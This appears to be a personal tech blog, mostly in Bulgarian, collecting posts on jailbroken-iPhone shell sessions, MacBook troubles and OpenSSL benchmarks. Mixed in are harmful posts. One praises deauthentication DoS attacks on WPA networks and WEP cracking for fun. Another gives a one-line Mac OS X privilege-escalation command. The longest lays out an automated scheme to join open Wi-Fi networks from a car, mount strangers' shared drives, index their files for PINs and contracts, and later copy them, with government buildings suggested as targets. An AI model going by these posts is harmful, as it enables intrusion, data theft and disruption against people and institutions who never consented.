iPhone hacks 2
iPhone:~ root# gcc -v Using built-in specs. Target: arm-apple-darwin9 Configured with: ../llvm-gcc-4.2/configure --build=x86_64-unknown-linux-gnu --host=arm-apple-darwin9 --enable-static=no --enable-shared=yes --prefix=/usr --localstatedir=/var/cache/iphone-gcc --enable-languages=c,c++,objc,obj-c++ --enable-wchar_t=no --with-gxx-include-dir=/usr/include/c++/4.0.0 Thread model: posix gcc version 4.2.1 (Based on Apple Inc. build 5555)
iPhone:~ root# cat hello.c #includeint main() { printf("hello\n"); return 0; } iPhone:~ root# gcc hello.c iPhone:~ root# ./a.out Killed iPhone:~ root# dmesg | tail -1 seatbelt: hook..execve() killing pid 242: outside of container && !i_can_has_debugger iPhone:~ root# ldid -S a.out iPhone:~ root# ./a.out hello
iPhone:~ root# uname -a Darwin iPhone 9.4.1 Darwin Kernel Version 9.4.1: Sat Nov 1 19:09:48 PDT 2008; root:xnu-1228.7.36~2/RELEASE_ARM_S5L8900X iPhone1,2 arm N82AP Darwin
iPhone:~ root# sysctl hw hw.ncpu: 1 hw.byteorder: 1234 hw.memsize: 121634816 hw.activecpu: 1 hw.optional.floatingpoint: 1 hw.packages: 1 hw.tbfrequency: 6000000 hw.fixfrequency: 24000000 hw.prffrequency_max: 51500000 hw.prffrequency_min: 51500000 hw.prffrequency: 51500000 hw.memfrequency_max: 137333333 hw.memfrequency_min: 137333333 hw.memfrequency: 137333333 hw.l1dcachesize: 16384 hw.l1icachesize: 16384 hw.cachelinesize: 32 hw.cpufrequency_max: 412000000 hw.cpufrequency_min: 412000000 hw.cpufrequency: 412000000 hw.busfrequency_max: 103000000 hw.busfrequency_min: 103000000 hw.busfrequency: 103000000 hw.pagesize: 4096 hw.cachesize: 0 0 0 0 0 0 0 0 0 0 hw.cacheconfig: 0 16384 16384 1 32 4 0 0 0 0 hw.cpufamily: -1879695144 hw.cpu64bit_capable: 0 hw.cpusubtype: 6 hw.cputype: 12 hw.logicalcpu_max: 1 hw.logicalcpu: 1 hw.physicalcpu_max: 1 hw.physicalcpu: 1 hw.machine = iPhone1,2 hw.model = N82AP hw.ncpu = 1 hw.byteorder = 1234 hw.physmem = 121634816 hw.usermem = 91435008 hw.pagesize = 4096 hw.epoch = 1 hw.vectorunit = 0 hw.busfrequency = 103000000 hw.cpufrequency = 412000000 hw.cachelinesize = 32 hw.l1icachesize = 16384 hw.l1dcachesize = 16384 hw.tbfrequency = 6000000 hw.memsize = 121634816 hw.availcpu = 1
iPhone:~ root# objdump -D a.out | head a.out: file format mach-o-le Disassembly of section LC_SEGMENT.__TEXT: 0000000000001000: 1000: feedface cdp2 10, 14, cr15, cr13, cr14, {6} 1004: 0000000c andeq r0, r0, ip 1008: 00000000 andeq r0, r0, r0 100c: 00000002 andeq r0, r0, r2
iPhone:~ root# df -h Filesystem Size Used Avail Use% Mounted on /dev/disk0s1 523M 489M 29M 95% / devfs 25K 25K 0 100% /dev /dev/disk0s2 7.1G 1.2G 6.0G 16% /private/var
iPhone:~ root# ps ax
PID TT STAT TIME COMMAND
1 ?? Ss 0:02.60 /sbin/launchd
12 ?? Ss 0:01.55 /usr/sbin/mDNSResponder -launchd
13 ?? Ss 0:02.38 /usr/sbin/notifyd
14 ?? Ss 0:03.03 /usr/sbin/syslogd
15 ?? Ss 0:13.70 /usr/sbin/configd
17 ?? Ss 2:07.40 /System/Library/CoreServices/SpringBoard.app/SpringBoard
18 ?? Ss 0:00.70 /usr/bin/yellowsn0w
20 ?? Ss 0:00.44 /Applications/MxTube.app/MxT2d
22 ?? Ss 0:00.72 /usr/sbin/update
23 ?? Ss 0:28.78 /usr/libexec/lockdownd
24 ?? Ss 0:32.73 /usr/sbin/mediaserverd
26 ?? Ss 0:02.83 /System/Library/PrivateFrameworks/IAP.framework/Support/iapd
27 ?? Ss 0:00.29 /usr/sbin/fairplayd
30 ?? Ss 0:07.88 /System/Library/PrivateFrameworks/CoreTelephony.framework/Support/CommCenter
31 ?? Ss 0:01.11 /usr/sbin/BTServer
43 ?? Ss 0:03.12 /Applications/MobilePhone.app/MobilePhone
77 ?? Ss 0:10.22 /Applications/MobileMail.app/MobileMail
80 ?? Ss 0:58.92 /Applications/MobileSafari.app/MobileSafari
100 ?? Ss 0:00.59 /System/Library/Frameworks/SystemConfiguration.framework/SCHelper
105 ?? Ss 0:00.27 /usr/libexec/ptpd -t usb
110 ?? S 0:00.38 /usr/libexec/afcd --lockdown -d /var/mobile/Media -u mobile
112 ?? S 0:00.11 /usr/libexec/notification_proxy
230 ?? S 0:01.48 /usr/sbin/sshd -i
271 ?? Ss 0:00.11 /usr/libexec/securityd
231 s000 Ss 0:00.42 -sh
272 s000 R+ 0:00.02 ps axiPhone:/ root# nmap 192.168.1.1 Starting Nmap 4.76 ( http://nmap.org ) at 2009-04-02 22:26 EEST mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Interesting ports on 192.168.1.1: Not shown: 997 filtered ports PORT STATE SERVICE 80/tcp open http 1900/tcp closed upnp 8080/tcp open http-proxy MAC Address: xx:xx:xx:xx:xx:xx (Tp-link Technologies Co.) Nmap done: 1 IP address (1 host up) scanned in 16.17 seconds
iPhone:~/tinyscheme1.39 root# make gcc -I. -c -Os scheme.c gcc -I. -c -Os dynload.c gcc -shared scheme.o dynload.o -ldl gcc -o scheme -Os scheme.o dynload.o -ldl iPhone:~/tinyscheme1.39 root# ldid -S scheme iPhone:~/tinyscheme1.39 root# ls -al scheme -rwxr-xr-x 1 root staff 46224 Apr 2 22:37 scheme* iPhone:~/tinyscheme1.39 root# ./scheme TinyScheme 1.39 > (eval (car (list (quote (display "scheme baby!"))))) scheme baby!#t
iPhone:~ root# apt-get update Ign http://www.ispaziorepo.com ./ Release.gpg Ign http://apt9.ihazsupper.com ./ Release.gpg Get:1 http://apt.bigboss.us.com stable Release.gpg [186B] Ign http://apt9.yellowsn0w.com ./ Release.gpg Hit http://www.ispaziorepo.com ./ Release Get:2 http://apt.modmyi.com stable Release.gpg [189B] Get:3 http://repo.smxy.org xena Release.gpg [189B] Ign http://apt9.ihazsupper.com ./ Release Ign http://mspasov.com stable Release.gpg Get:4 http://www.zodttd.com stable Release.gpg [189B] Ign http://www.ispaziorepo.com ./ Packages/DiffIndex Get:5 http://apt.saurik.com tangelo Release.gpg [189B] Ign http://apt9.yellowsn0w.com ./ Release Hit http://apt.bigboss.us.com stable Release Get:6 http://apt.modmyi.com stable Release [483B] Ign http://apt9.ihazsupper.com ./ Packages/DiffIndex Hit http://repo.smxy.org xena Release Ign http://apt9.yellowsn0w.com ./ Packages/DiffIndex Hit http://www.ispaziorepo.com ./ Packages Hit http://www.zodttd.com stable Release Get:7 http://apt.saurik.com tangelo Release [566B] Get:8 http://mspasov.com stable Release [2938B] Hit http://apt9.ihazsupper.com ./ Packages Hit http://apt9.yellowsn0w.com ./ Packages Ign http://mspasov.com stable/main Packages/DiffIndex Ign http://apt.bigboss.us.com stable/main Packages/DiffIndex Ign http://apt.modmyi.com stable/main Packages/DiffIndex Ign http://apt.bigboss.us.com stable/main Packages Hit http://repo.smxy.org xena/main Packages/DiffIndex Get:9 http://mspasov.com stable/main Packages [1753B] Hit http://www.zodttd.com stable/main Packages/DiffIndex Ign http://apt.modmyi.com stable/main Packages Hit http://apt.bigboss.us.com stable/main Packages Ign http://apt.saurik.com tangelo/main Packages/DiffIndex Hit http://www.zodttd.com stable/main Packages Hit http://apt.modmyi.com stable/main Packages Hit http://apt.saurik.com tangelo/main Packages Fetched 5745B in 4s (1260B/s) Reading package lists... Done
D-Link DWL-G122 и KisMAC
Преди време си взех тази WLAN карта, защото имаше поддръжка за Linux и Mac OS X. Лошото беше, че не успях да я подкарам в KisMAC. Преди няколко дни с радост установих, че са сложили драйвер за нея. Тръгна без ядове в KisMAC trunk r319 с USB RT73 device. Очевидно е с някакъв Ralink чип. За целта обаче трябва да се махнат “официалните” драйвери на D-Link. Повече информация по въпроса има тук. Върши очудващо добра работа за auth/deauth активни DoS атаки срещу WPA, докато в същото време вградената карта стои в пасивен режим. KisMAC си работи чудесно с двете карти едновременно, при чупене на WEP могат да се ползват заедно, като активната прави packet injection. Доста приятни занимания (в стил прееби другарчето) за мрачен неделен следобед.
Apple MacBook - Top Case 4
Днес след чакане от около 2 месеца, моят Apple MacBook най-накрая беше ремонтиран. Проблемът му беше ето този, или както ми беше обяснено от разбирачи на Apple – дефектирал Top Case. Този проблем е доста масов и се отстранява гаранционно от Apple без много шум. За съжаление в България трябваше да се преборя с няколко типично български, сервизни идиотщини за да получа нов Top Case. В последствие се оказа, че той върви заедно с клавиатура и trackpad. За това в момента съм с нова клавиатура. Най-напред в сервиза ми обясниха колко трудно се доставяли тези части от Унгария и как унгарците били несериозни. После се оказа, че сервиза излиза в отпуска. В последствие стана ясно, че по някакви причини, преди да излязат в отпуска не са ми поръчали частта. Както и да е, важното е, че все пак накрая я смениха. Чудя се обаче колко ли време ще издържи новата. Според моите наблюдения, този Top Case е абсолютно същия като стария. Само след няколко затваряния на пластмасата се вижда къде точно лепне капака. Освен това бях предупреден да внимавам като го разнасям, защото задната част се крепяла на някакви щифтове. Понеже си използвам лаптопа доста интензивно, чудя се колко ли клавиатури ще сменя за тези 2 години, през които ми важи гаранцията.
Mac OS X local privilege escalation
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
Копане на данни из улиците на София
Обикаляйки с новия ми MacBook по улиците на София и други големи градове ми прави впечатление следното нещо. Безплатен Интернет достъп може да се използва почти навсякъде. Има огромно количество 802.11 станции, които използват WEP или просто предлагат отворен достъп. Голяма част от тези точки са на някакви частни лица, които очевидно не са си направили труда да ги направят сигурни. По-голяма част са на фирми, които главно поради незнание и несъобразяване на последиците също не са ги направили сигурни. Една много голяма част от тези точки са БТК ADSL модеми, които предлагат 802.11, като допълнителна екстра, с някаква промоция на БТК, която стартира преди време. Много съм благодарен на БТК за тази промоция, вече мога да ползвам ADSL в целия град. Ползването на безплатна Интернет връзка е по-малкото зло в случая.
Много по-голям проблем, особено за фирмите, е неправомения достъп до информация. Освен, че всеки може да се свърже (асоциира) към дадена станция с отворен достъп, всеки може да подслушва трафика между станцията и отделните компютри свързани към нея. В случая с БТК ADSL модемите, това вклюва целия Интернет трафик на всички компютри в мрежата на станцията. По-важната част от този трафик, би трябвало да е криптиран сигунрно през HTTPS – комуникация с НОИ/НАП, както и банкови операции. Друг трафик, който може да представлява интерес е този между отделните компютри в мрежата. Оказва се, че голяма част от компютрите в такива мрежи се използват за обмен на файлове. Няколко пъти срещах цели споделени (shared) дискове с Windows XP. Естествено няма никакво значение дали те са споделени с парола или без, тъй като трафика между компютърите не е криптиран. Цялата тази работа ми е много интересна. След случая с болницата Токуда, чудя се до каква ли още информация може да се достигне с минимални усилия в тази посока. Сетих се за няколко доста прости, но ефективни неща, които ще опиша тук.
Подходящите точки за достъп (802.11 станции) са много, и са разпръснати из града. Необходимото време, което човек трябва да престои в обхвата на една точка се определя от броя на компютрите в нея, както и информацията на тях, която ни интересува. Идеалният вариант за обхождане е с кола, карайки бавно из задръстванията на София. Нещо като комбинация от wardriving и piggybacking. За да бъде ефективна тази работа, тя трябва да бъде автоматизирана. Би било глупаво човек да цъка на мака в колата и да рови папките на нещастниците, които са ги споделили. Хубавото на тази “атака” е, че тя може да бъде проведена на няколко пъти. Например може минавайки първия ден с компютъра през задръстването на Граф Игнатиев, човек да събере информация колко са интересните точки и да си опише кои компютри от тях ще сканира. На следващия ден може да си свали част от необходимата му информация и така нататък. Вероятността собствениците да се усетят е доста малка.
Първото нещо, което ни е необходимо е програма от сорта на iStumbler или KisMAC. Втората може много повече неща, но пък не е толкова удобна за ползване. Една такава програмка може да ни подскаже коя мрежа/станция би била интересна за нас. Също така може да ни сортира отделните станции по определени критерии, така че да можем да ги ровим наред. Няма да говоря за кракване на WEP, защото материали на тази тема бол, а и отворените мрежи са предостатъчно. След като си харесаме мрежа, можем се асоциираме към нея. Почти със сигурност ще получим IP адрес от мрежата, но това не е толкова важно. Вече асоциирани в нея можем да използваме tcpdump или Wireshark за да видим какво “тече” по нея и кои компютри са активни. Всички Windows машини се познават веднага благодарения на NetBIOS broadcast съобщенията. От тях става ясно кой/къде/какво е споделил, както и имената на отделните компютри в мрежата. Ето защо, каквото и да искаме да правим за повечето мрежи ще е много полезно да имаме Samba. По този начин ще можем да работим лесно с отделните споделени неща. Друго полезно нещо в случая, което вече имаме при положение, че ползваме Mac OS – MacFUSE. Някакъв Linux също би свършил добра работа в това отношение, идеята е да можем да закачваме файлови системи в user space на операционната система. Това предлага бърз, лесен и сигурен достъп до файловете, които ни вълнуват.
И така, до тук елементарно можем да напишем програма, която намира подходяща мрежа, намира подходящ компютър в нея и закачва част от неговата файлова система към нашата. Колко елементарно се пише тя няма да коментирам тук, само ще кажа, че подобна програма може да бъде написана на Apple Script или да бъде направена с помощта на Automator, без човек да е чувал що е то програмиране. Най-интересната част от тази мой идеи е какво да правим от тук нататък. Би било глупаво просто да ровим файловете или да преписваме на локалния диск всичко, което намерим. Всъшност няма никаква нужда да преписваме каквото и да било, поради простата причина, че информацията ще си бъде там и на следващия ден – просто е необходимо да отидем да си я вземем, стига да решим, че ни трябва. Някъде около 90% от намерената информация изобщо няма да ни интересува (не съм сигурен за процента, написах го наизуст). Трябва някакси да подберем информацията, а защо не и да търсим в нея. Този проблем адски много напомня за проблема за търсене и класифициране на информация в Интернет. Разбира се, този той е решен много елегантно от Google. Как точно – те си знаят. Всъшност нас не ни интересува, нашата задача може да бъде решена с техните алгоритми, просто трябва да използваме Google Desktop Search for Mac. Това е една доста добра и удобна програма, която ни позволява да направим индекс на файловата система и да използваме алгоритмите на Google за търсене в този индекс. По този начин много удобно можем да ровим локално из чат логове, PDF документи, man страници, сорсове на програми и още какво ли не. Тъй като споделените файлове на хората стават част от нашата файлова система, необходимо е само да пуснем индексирането на Google. Когато то приключи, можем да се развържем от съответната машина и да преминем към следваща. Разбира се, всичко това може да става автоматично, чрез програмата, която ще напишем. Резултатът е, една хубава SQLite база данни, която ние си пазим върху хард диска на мака. Ако сме били достатъчно хитри да си закачваме файловите системи на отделните компютъри към директории с точно определени имена – вече знаем кой файл, на кой чужд компютър се намира. След време, ако търсейки в индекса от вкъщи си харесаме нещо – просто можем да отидем и да си го копираме цялото. Какво ли би излезнало от едно такова търсене, например за – “пин код”, “договор”, “пълномощно”, “фактура”, “строго секретно”, ...
И така, оставям останалите подробности на читателите. Много съм любопитен какво би станало, ако някои с MacBook и такава програма се поразходи около Президентството, Народно Събрание, или пък около БНБ. Може би дори Министерство на Вътрешните Работи? ДСК на Плиска също е една интересна дестинация. Очаквам коментари, препоръки и отзиви.
Скорост на OpenSSL
Като един стар потребител на GBDE и GELI под FreeBSD, трябваше да реша дали да ползвам криптография на хард диска под Mac OS X. Такава опция се предлага под името FileVault, за съжаление не се предлага криптиране на всичко, а само на директорията на потребителя. Може би е по-добре от нищо, въпреки че този софтуер не е с отворен код, не е много ясно колко е сигурен и дали няма някакви задни вратички. Тъй като не съм ползвал GELI на новите Intel процесори реших да изпробвам скоростта на криптографията за да добия представа колко бързо биха се движили нещата на един MacBook. Резултатите определено ме изненадаха. Това е изхода от командата openssl speed на Intel Core 2 Duo T7500 @2.2 Ghz под Mac OS X:
OpenSSL 0.9.7l 28 Sep 2006
built on: Sun Sep 23 16:08:24 PDT 2007
options:bn(64,32) md2(int) rc4(ptr,char) des(idx,cisc,16,long) aes(partial) blowfish(ptr)
compiler: cc -arch ppc -arch ppc64 -arch i386 -arch x86_64 -g -Os -pipe -arch ppc -arch ppc64 -arch i386 -arch x86_64 -pipe -DOPENSSL_NO_IDEA -DFAR=
available timing options: TIMEB USE_TOD HZ=100 [sysconf value]
timing function used: getrusage
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
md2 1552.85k 3271.94k 4524.06k 5004.22k 5164.34k
mdc2 4204.74k 4619.19k 4757.31k 4799.52k 4809.07k
md4 15855.41k 52902.28k 142198.50k 246969.80k 317057.24k
md5 14586.42k 49474.84k 135840.67k 240148.54k 310968.00k
hmac(md5) 23251.10k 67720.57k 162782.12k 248777.43k 295469.61k
sha1 13182.11k 38272.95k 84104.41k 120792.72k 138000.81k
rmd160 10561.06k 29464.19k 61316.10k 84022.98k 94703.13k
rc4 95640.12k 101646.10k 103312.30k 104252.21k 104393.09k
des cbc 16022.67k 16444.10k 16548.69k 16572.95k 16563.80k
des ede3 14062.49k 14317.53k 14461.25k 14502.85k 14512.43k
idea cbc 0.00 0.00 0.00 0.00 0.00
rc2 cbc 20614.51k 21266.65k 21172.40k 21248.60k 21301.63k
rc5-32/12 cbc 108723.99k 127935.88k 136458.55k 142723.90k 140491.69k
blowfish cbc 54604.80k 58116.54k 58851.96k 59112.73k 59182.62k
cast cbc 36548.64k 38542.89k 38942.15k 39032.53k 39075.71k
aes-128 cbc 42344.46k 43862.27k 44255.02k 44202.57k 44116.52k
aes-192 cbc 36427.04k 37333.01k 37566.63k 37475.22k 37503.20k
aes-256 cbc 31756.28k 32454.77k 32637.07k 32536.94k 32590.66k
sign verify sign/s verify/s
rsa 512 bits 0.001318s 0.000088s 758.8 11322.0
rsa 1024 bits 0.006495s 0.000284s 154.0 3523.2
rsa 2048 bits 0.038285s 0.000990s 26.1 1010.2
rsa 4096 bits 0.245003s 0.003464s 4.1 288.7
sign verify sign/s verify/s
dsa 512 bits 0.000852s 0.001004s 1173.1 996.4
dsa 1024 bits 0.002756s 0.003275s 362.9 305.4
dsa 2048 bits 0.009637s 0.011214s 103.8 89.2Изненадващото тук са флаговете, с които е компилирана OpenSSL библиотеката. Многото архитектури са необходими, защото формата е Mach-O Universal Binary, но защо по дяволите са им debugging symbols и оптимизация по размер на мен не ми е ясно. За да сравня скоростите пуснах същата команда под FreeBSD на подобен AMD процесор – Athlon 64 BE-2350 @2.1 Ghz. Ето резултатите:
OpenSSL 0.9.7e-p1 25 Oct 2004
built on: Tue Jan 15 23:14:00 UTC 2008
options:bn(64,64) md2(int) rc4(ptr,int) des(ptr,risc2,4,int) aes(partial) blowfish(idx)
compiler: cc
available timing options: USE_TOD HZ=128 [sysconf value]
timing function used: getrusage
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
md2 1450.30k 3046.74k 4234.28k 4708.83k 4860.78k
mdc2 6157.28k 7144.84k 7452.65k 7531.02k 7556.85k
md4 16149.12k 52186.87k 138171.42k 232540.73k 290777.63k
md5 12785.97k 40424.24k 98705.48k 156653.62k 188383.28k
hmac(md5) 16880.80k 48613.17k 110836.90k 164453.99k 190657.17k
sha1 12315.62k 35868.05k 79622.37k 114612.21k 130918.83k
rmd160 10203.07k 26992.17k 55980.67k 76481.20k 85377.83k
rc4 159730.21k 167051.92k 172490.07k 173262.90k 173469.21k
des cbc 41227.53k 42887.93k 43608.70k 43793.49k 43847.37k
des ede3 16126.92k 16532.56k 16658.32k 16737.51k 16669.78k
idea cbc 0.00 0.00 0.00 0.00 0.00
rc2 cbc 22156.48k 22952.47k 22989.78k 23065.41k 22981.71k
rc5-32/12 cbc 97653.25k 106976.49k 109700.90k 110490.45k 110563.13k
blowfish cbc 72234.94k 77850.37k 78994.44k 79397.11k 79810.08k
cast cbc 55748.97k 58467.84k 59135.72k 59470.92k 59308.97k
aes-128 cbc 93595.45k 97407.40k 99297.23k 99676.31k 99890.51k
aes-192 cbc 83154.82k 86677.42k 88213.47k 88343.16k 88592.05k
aes-256 cbc 75277.20k 78369.54k 79912.43k 79991.79k 80222.88k
sign verify sign/s verify/s
rsa 512 bits 0.0003s 0.0000s 3800.2 44370.9
rsa 1024 bits 0.0008s 0.0001s 1254.2 19837.2
rsa 2048 bits 0.0042s 0.0001s 238.2 7371.1
rsa 4096 bits 0.0264s 0.0004s 37.9 2430.1
sign verify sign/s verify/s
dsa 512 bits 0.0002s 0.0002s 6090.2 5498.6
dsa 1024 bits 0.0004s 0.0005s 2614.9 2185.4
dsa 2048 bits 0.0011s 0.0014s 875.9 713.2Тук флагове за компилатора няма и архитектурата е само AMD64. Но разликите в скоростите са много големи. Казано накратко, вторите резултати показват около 2.5 пъти по-бърз AES, 8 пъти по-бърз DSA и RSA. Това е доста интересен факт, очаквах да има някакви разлики в скоростта, но не и толкова големи. Този факт може да се дължи на много неща, тъй като между двете машини има прекалено големи разлики в софтуера и хардуера. Дори OpenSSL версийте са различни. Мисля, че и паметите играят някаква роля в случая, лаптопа по традиция е с DDR2 667, a другата машина е с доста бърза DDR2 800. За сметка на това пък Core 2 има доста повече кеш. Глупаво е да се правят заключения за каквото и да било от тези резултати, не знам как биха се отразили и на скороста на FileVault. Публикувам ги тук просто, като интересен факт.
Apple MacBook - изборът 2
След дълги години използване на FreeBSD върху почти всички машини, с които работя се сблъсках с доста неприятен проблем – поддръжката на лаптопи. През последните месеци смених един лаптоп Fujitsu-Siemens и два лаптопа Dell. Всичките бяха с еднакви диагнози – няма поддръжка за sleep/wakeup и wireless картите не работят (или пък работят с драйвер за Windows). Промяната в честотата на процесора работи избирателно и на моменти. Проблемите стават повече, когато човек реши да използва amd64 архитектурата. Най-различни дребни нещица, които човек очаква да ползва, просто спират да работят (QEMU например не работи със SMP ядро на amd64). За голяма част от тези проблеми са виновни производителите на компютрите с нежеланието си да поддържат операционни системи с отворен код, както и с нежеланието си свободно да предоставят документация за хардуера, който използват. Проблемите се задълбочават от подобна политика от страна на производителите на въпросния хардуер, главно Intel, NVidia, Marvell и Broadcom. Аз продължавам да съм голям фен на FreeBSD, това е моята операционна система, но ето че се принудих да я сменя. Това е една доста интересна история, която показва абсурдната ситуация на компютърната индустрия в момента.
Реших, че имам нужда от лаптоп, който се поддържа напълно от някаква операционна система различна от Windows. Първото нещо, което на човек му хрумва е Linux. Всички производители в момента раздуват как техните компютри поддържат Linux. Като никога не е много ясно какво се има предвид под поддръжка на Linux. След дълго проучване става ясно, че те поддържат Linux, при положение, че в ядрото се заредят някакви техни си драйвери, binary only, със затворен код. При това положение ядрото започва да работи в т.нар. “tainted” режим. Това означава, че при възникване на някакъв проблем в ядрото човек няма начин да разбере какво точно се случва, защото в kernel mode работи някаква чужда програма, която никой не знае какво върши. Използването на такова ядро много добре комбинира всички недостатъци на работата с Windows с всички недостатъци на работата с Linux. Друг проблем е, че въпросните драйвери работят с точно определени версии на Linux ядрото. Има вероятност лаптопа да има по-добра поддръжка за нещо в някаква по-нова версия, но да не може да я ползва поради други драйвери, които поддържат по-старата. Мога още доста да пиша за подобни малоумия, които възникват при ползване на Linux с драйвери със затворен код, но основните моменти вече ги написах. При това положение, за кратко време се бях примирил – ще ползвам Windows, върху който ще пусна някаква виртуализация, в която ще работя с FreeBSD. Реших, че избора ще е лесен – всички лаптопи поддържат Windows, нали? Е да, ама не! Оказва се, че всички нови лаптопи са Windows Vista Capable/Compatible/Designed for. Това означава, че на тях човек може да пусне някаква версия на Windows Vista (не е много ясно каква, по този повод в момента се водят поредните дела срещу Microsoft). Аз никога не съм работил с Windows Vista, но чувам главно лоши работи за него. Не знам дали това се дължи на феновете на отворения код, с който комуникирам или на предубежденията ми към Microsoft. Всеки случай е ясно, че това е един нов Windows, който страда от типичните за всички нови продукти на Microsoft проблеми – BSOD, липса на драйвери, несъвместимост с добре работещи под XP програми и хиляди нови глупави функционалности добавени от MS. Не благодаря, предпочитам да работя с XP (ако ще е Windows). Това се оказва кофти вариант, защото повечето нови машини не го поддържат. е е много ясно и колко още ще го поддържат от Microsoft. Едно е ясно – спре ли да се кърпи ще настане ад от “злонамерени програми” (много глупав термин). Който и да бях избрал от тези варианти, както и до момента, кърпенето на операционната система и поддръжката щеше да ми отнема повече време от действителната работа, която върша на нея.
Оказва се, че единствената алтернатива на гореспоменатите проблеми е Apple MacBook. Като единствен възможен избор се хвърлих на тях малко на доверие. Е не точно, изчетох камара документация на тема Mac OS X. Решителния момент в тази докуметация беше поддръжката на UNIX 03 стандарта. И така, машинката ми пристигна онзи ден, за впечатленията от нея ще пиша допълнително.
